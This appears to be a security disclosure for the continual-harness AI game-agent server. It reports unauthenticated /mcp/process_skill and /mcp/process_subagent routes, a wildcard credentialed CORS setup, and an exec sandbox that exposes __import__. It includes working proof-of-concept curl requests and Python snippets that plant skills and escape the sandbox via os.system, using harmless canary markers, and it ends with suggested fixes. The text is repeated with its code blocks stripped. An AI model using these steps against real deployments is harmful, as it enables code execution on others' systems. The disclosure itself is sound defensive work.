What
continual-harness starts Uvicorn on 0.0.0.0 with wildcard CORS (server/app.py:915, :406-408) — allow_origins=["*"] paired with allow_credentials=True, which Starlette serves by reflecting the request Origin (the literal * value is not valid under credentials). The POST /mcp/process_skill (server/app.py:3711) and POST /mcp/process_subagent (server/app.py:3749) handlers both take a plain request: dict and never call _require_state_api_key. That key check (server/app.py:4328) is opt-in via POKEMON_STATE_API_KEY and is applied only to /save_state (:4345) and /load_state (:4369) — no /mcp/* route applies it. So any peer that can reach the port can persist caller-controlled skill code and looping subagent registrations.
Separately, the skill-code exec path puts __import__ in the hand-built __builtins__ allowlist. run_skill (agents/PokeAgent.py:491, 512) loads a stored skill by id and execs its code; run_code (:586, 604) execs code passed directly in the tool-call arguments. Both sinks expose __import__, so __import__('os') escapes the allowlist in either path.
All line numbers are against sethkarten/continual-harness HEAD bbab97ad73e460b7cd7c08527d10ced30cc03fbe.
How to reproduce
The shipped default binds 0.0.0.0. I started it on loopback for these repros; the route-level auth gap is independent of the bind address.
EXCLUDE_BUILTIN_SUBAGENTS=1 uvicorn server.app:app --host 127.0.0.1 --port 8765
1. POST /mcp/process_subagent persists a looping subagent with no credential (route server/app.py:3749; force-add of run_skill/run_code/get_map_data at server/game_tools.py:790-793):
nonce="ch-$(date +%s)-$RANDOM"
curl -sS -i -X POST http://127.0.0.1:8765/mcp/process_subagent \
-H 'Origin: https://attacker.invalid' \
-H 'Content-Type: application/json' \
--data "{\"action\":\"add\",\"reasoning\":\"canary\",\"entries\":[{\"id\":\"$nonce\",\"name\":\"canary\",\"description\":\"canary\"}]}"
grep -R "$nonce" .pokeagent_cache/subagents.json && echo "persisted: $nonce"
Observed:
HTTP/1.1 200 OK
access-control-allow-origin: https://attacker.invalid
access-control-allow-credentials: true
{"success":true,"results":[{"success":true,"entry_id":"ch-1785746685-26414"}]}
persisted: ch-1785746685-26414
In .pokeagent_cache/subagents.json the planted entry has handler_type: looping and available_tools: ['press_buttons', 'get_game_state', 'run_skill', 'run_code', 'get_map_data']. The request omitted every tool; run_skill/run_code/get_map_data were appended by game_tools.py:790-793.
The two access-control-* response headers are Starlette reflecting the request Origin because of the allow_origins=["*"] + allow_credentials=True pair; that reflection is server-side and fires from the config alone, whether or not the request carries cookies (no Cookie is sent here). The harness has no cookie/session auth — its only auth is the opt-in X-Internal-API-Key — so the practical exposure on these routes is the route-level key gap, not a browser cookie attack; the CORS pair is missing defense-in-depth.
2. POST /mcp/process_skill persists caller-controlled skill code (same request: dict handler pattern at server/app.py:3711; sink process_skill_direct → SkillStore.add() → skills.json). Minimal store-level repro that does not need the server:
python3 - <<'PY'
from pathlib import Path
from tempfile import TemporaryDirectory
import secrets
from utils.stores.skills import SkillStore
from server import game_tools
nonce = "canary-" + secrets.token_hex(8)
with TemporaryDirectory() as d:
game_tools.skill_store = SkillStore(cache_dir=d)
r = game_tools.process_skill_direct("add", [{
"name": f"canary-{nonce}", "description": "canary",
"code": f"# {nonce}",
}], "canary")
print(r)
print("nonce in skills.json:", nonce in Path(d, "skills.json").read_text())
print("persisted:", nonce)
PY
Observed:
{'success': True, 'results': [{'success': True, 'entry_id': 'skill_0001'}]}
nonce in skills.json: True
persisted: canary-f589ea3af77a1310
3. Skill exec sandbox exposes __import__ (the allowlist entry at agents/PokeAgent.py:491, exec at :512; identical block at :586, 604). Repro of the builtins dict and the exec call shape used by both sinks:
python3 - <<'PY'
import secrets
from pathlib import Path
nonce = secrets.token_hex(8)
marker = Path("/tmp") / f"canary-{nonce}"
g = {"__builtins__": {"print": print, "range": range, "len": len, "__import__": __import__}}
exec(f"__import__('os').system(\"printf %s > {marker}\" % '{nonce}')", g)
print("escaped:", marker)
print("marker content:", marker.read_text())
PY
Observed:
escaped: /tmp/canary-fdfd35f249eddd45
marker content: fdfd35f249eddd45
Removing the "__import__" entry from the dict raises NameError: name '__import__' is not defined and the marker is not written (confirmed by running the same block without that key).
4. HTTP write → store reload → skill exec (sink-equivalent). Writes a skill through the real route, then reloads it with the real get_skill_store().get(entry_id) call that _execute_run_skill makes (agents/PokeAgent.py:428-429), and execs the reloaded code through a content-identical copy of the run_skill __builtins__ allowlist and exec(code, sandbox_globals) shape (PokeAgent.py:482-512). I drive that final exec from a script rather than through a live agent tool-call: instantiating PokeAgent pulls in the full LLM-provider stack and a running emulator. The store load uses the real get_skill_store().get() function from utils.stores.skills; the __builtins__ allowlist and exec shape are reconstructed line-for-line from run_skill, so this is a sink-equivalent check, not a verbatim run. In a real run the trigger is a later agent emitting a run_skill tool-call that carries this skill id.
python3 - <<'PY'
import json, os, urllib.request
from utils.stores.skills import get_skill_store
nonce = "e2e-" + os.urandom(4).hex() # e.g. e2e-1a2b3c4d (8 hex chars)
code = ("import os as _os\n"
"_os.system('echo ' + %r + ' > /tmp/canary_e2e_%s')\n"
"result = 'fired-' + %r\n") % (nonce, nonce, nonce)
print("nonce:", nonce)
# 1. write through the real route, no credential
payload = json.dumps({"action": "add", "reasoning": "canary",
"entries": [{"name": "canary-e2e", "description": "canary",
"code": code}]}).encode()
req = urllib.request.Request("http://127.0.0.1:8765/mcp/process_skill",
data=payload, headers={"Content-Type": "application/json"})
resp = json.loads(urllib.request.urlopen(req).read())
entry_id = resp["results"][0]["entry_id"]
print("HTTP:", 200, "| entry_id:", entry_id)
# 2. reload through the same get_skill_store().get(entry_id) that _execute_run_skill uses
# (agents/PokeAgent.py:428-429)
entry = get_skill_store().get(entry_id)
print("reloaded:", entry.id)
# 3. exec through a content-identical run_skill __builtins__ allowlist (PokeAgent.py:482-512)
import random, collections, math, json as _j, re as _r, heapq, itertools, functools
import numpy as np
g = {"__builtins__": {"range": range, "len": len, "int": int, "float": float,
"str": str, "list": list, "dict": dict, "tuple": tuple,
"set": set, "frozenset": frozenset, "type": type, "bool": bool,
"print": print, "abs": abs, "min": min, "max": max, "sum": sum,
"enumerate": enumerate, "zip": zip, "sorted": sorted, "reversed": reversed,
"isinstance": isinstance, "map": map, "filter": filter, "any": any, "all": all,
"__import__": __import__, "True": True, "False": False, "None": None},
"random": random, "collections": collections, "math": math, "json": _j, "re": _r,
"heapq": heapq, "itertools": itertools, "functools": functools,
"np": np, "numpy": np, "tools": {}, "args": {"x": 1, "y": 2}}
exec(entry.code, g) # PokeAgent.py:512
print("run_skill result:", g.get("result"))
print("marker:", open("/tmp/canary_e2e_" + nonce).read().strip())
PY
Observed:
nonce: e2e-7e109872
HTTP: 200 | entry_id: skill_0001
reloaded: skill_0001
run_skill result: fired-e2e-7e109872
marker: e2e-7e109872
The attacker-controlled code (persisted via the unauthenticated route in step 1) ran with __import__ available and dropped the marker under the harness process.
Impact / scope
- An unauthenticated peer that can reach the harness port can plant durable skill code and looping subagent registrations in the on-disk stores. Neither write executes code by itself.
- Code execution is downstream. A stored skill is exec'd when a later agent run calls
run_skill with that skill id (stored code runs at agents/PokeAgent.py:512). run_code is a separate path: it execs code supplied directly in the tool-call arguments (:604), so it is direct sandbox execution of caller-supplied code and does not consume the stored skill store. I am not claiming one-request remote RCE — the unauthenticated write needs a later run_skill to fire.
- The
__import__ escape is deterministic once a stored skill runs; it runs with the harness process's privileges.
- The
0.0.0.0 bind and wildcard CORS don't by themselves prove a deployed instance is internet-reachable; on a loopback-only or trusted-network deployment the practical exposure is smaller. The route-level auth gap is the issue regardless of deployment.
Suggested change
- Make
/mcp/process_skill and /mcp/process_subagent accept Request and call _require_state_api_key before parsing the body, matching /save_state//load_state. Apply the same to any other state-mutating /mcp/* route.
- Bind to loopback by default unless network exposure is explicitly requested; narrow CORS to an allowlist (CORS is not an authorization boundary).
- Drop the automatic
run_skill/run_code/get_map_data force-add for looping subagents (game_tools.py:790-793), or make it an explicit authorized capability grant.
- Remove
__import__ from both __builtins__ dictionaries (PokeAgent.py:491, 586); inject specific modules explicitly if skills need them. A builtins allowlist is not a real sandbox — run untrusted skill code in a separate least-privileged process.
Happy to open a PR for any subset of the above.
What
continual-harnessstarts Uvicorn on0.0.0.0with wildcard CORS (server/app.py:915,:406-408) —allow_origins=["*"]paired withallow_credentials=True, which Starlette serves by reflecting the requestOrigin(the literal*value is not valid under credentials). ThePOST /mcp/process_skill(server/app.py:3711) andPOST /mcp/process_subagent(server/app.py:3749) handlers both take a plainrequest: dictand never call_require_state_api_key. That key check (server/app.py:4328) is opt-in viaPOKEMON_STATE_API_KEYand is applied only to/save_state(:4345) and/load_state(:4369) — no/mcp/*route applies it. So any peer that can reach the port can persist caller-controlled skill code and looping subagent registrations.Separately, the skill-code exec path puts
__import__in the hand-built__builtins__allowlist.run_skill(agents/PokeAgent.py:491, 512) loads a stored skill by id andexecs its code;run_code(:586, 604)execs code passed directly in the tool-call arguments. Both sinks expose__import__, so__import__('os')escapes the allowlist in either path.All line numbers are against
sethkarten/continual-harnessHEADbbab97ad73e460b7cd7c08527d10ced30cc03fbe.How to reproduce
The shipped default binds
0.0.0.0. I started it on loopback for these repros; the route-level auth gap is independent of the bind address.1.
POST /mcp/process_subagentpersists a looping subagent with no credential (routeserver/app.py:3749; force-add ofrun_skill/run_code/get_map_dataatserver/game_tools.py:790-793):Observed:
In
.pokeagent_cache/subagents.jsonthe planted entry hashandler_type: loopingandavailable_tools: ['press_buttons', 'get_game_state', 'run_skill', 'run_code', 'get_map_data']. The request omitted every tool;run_skill/run_code/get_map_datawere appended bygame_tools.py:790-793.The two
access-control-*response headers are Starlette reflecting the requestOriginbecause of theallow_origins=["*"]+allow_credentials=Truepair; that reflection is server-side and fires from the config alone, whether or not the request carries cookies (noCookieis sent here). The harness has no cookie/session auth — its only auth is the opt-inX-Internal-API-Key— so the practical exposure on these routes is the route-level key gap, not a browser cookie attack; the CORS pair is missing defense-in-depth.2.
POST /mcp/process_skillpersists caller-controlled skill code (samerequest: dicthandler pattern atserver/app.py:3711; sinkprocess_skill_direct→SkillStore.add()→skills.json). Minimal store-level repro that does not need the server:Observed:
3. Skill
execsandbox exposes__import__(the allowlist entry atagents/PokeAgent.py:491, exec at:512; identical block at:586, 604). Repro of the builtins dict and the exec call shape used by both sinks:Observed:
Removing the
"__import__"entry from the dict raisesNameError: name '__import__' is not definedand the marker is not written (confirmed by running the same block without that key).4. HTTP write → store reload → skill
exec(sink-equivalent). Writes a skill through the real route, then reloads it with the realget_skill_store().get(entry_id)call that_execute_run_skillmakes (agents/PokeAgent.py:428-429), andexecs the reloaded code through a content-identical copy of therun_skill__builtins__allowlist andexec(code, sandbox_globals)shape (PokeAgent.py:482-512). I drive that final exec from a script rather than through a live agent tool-call: instantiatingPokeAgentpulls in the full LLM-provider stack and a running emulator. The store load uses the realget_skill_store().get()function fromutils.stores.skills; the__builtins__allowlist andexecshape are reconstructed line-for-line fromrun_skill, so this is a sink-equivalent check, not a verbatim run. In a real run the trigger is a later agent emitting arun_skilltool-call that carries this skill id.Observed:
The attacker-controlled code (persisted via the unauthenticated route in step 1) ran with
__import__available and dropped the marker under the harness process.Impact / scope
run_skillwith that skill id (stored code runs atagents/PokeAgent.py:512).run_codeis a separate path: it execs code supplied directly in the tool-call arguments (:604), so it is direct sandbox execution of caller-supplied code and does not consume the stored skill store. I am not claiming one-request remote RCE — the unauthenticated write needs a laterrun_skillto fire.__import__escape is deterministic once a stored skill runs; it runs with the harness process's privileges.0.0.0.0bind and wildcard CORS don't by themselves prove a deployed instance is internet-reachable; on a loopback-only or trusted-network deployment the practical exposure is smaller. The route-level auth gap is the issue regardless of deployment.Suggested change
/mcp/process_skilland/mcp/process_subagentacceptRequestand call_require_state_api_keybefore parsing the body, matching/save_state//load_state. Apply the same to any other state-mutating/mcp/*route.run_skill/run_code/get_map_dataforce-add for looping subagents (game_tools.py:790-793), or make it an explicit authorized capability grant.__import__from both__builtins__dictionaries (PokeAgent.py:491, 586); inject specific modules explicitly if skills need them. A builtins allowlist is not a real sandbox — run untrusted skill code in a separate least-privileged process.Happy to open a PR for any subset of the above.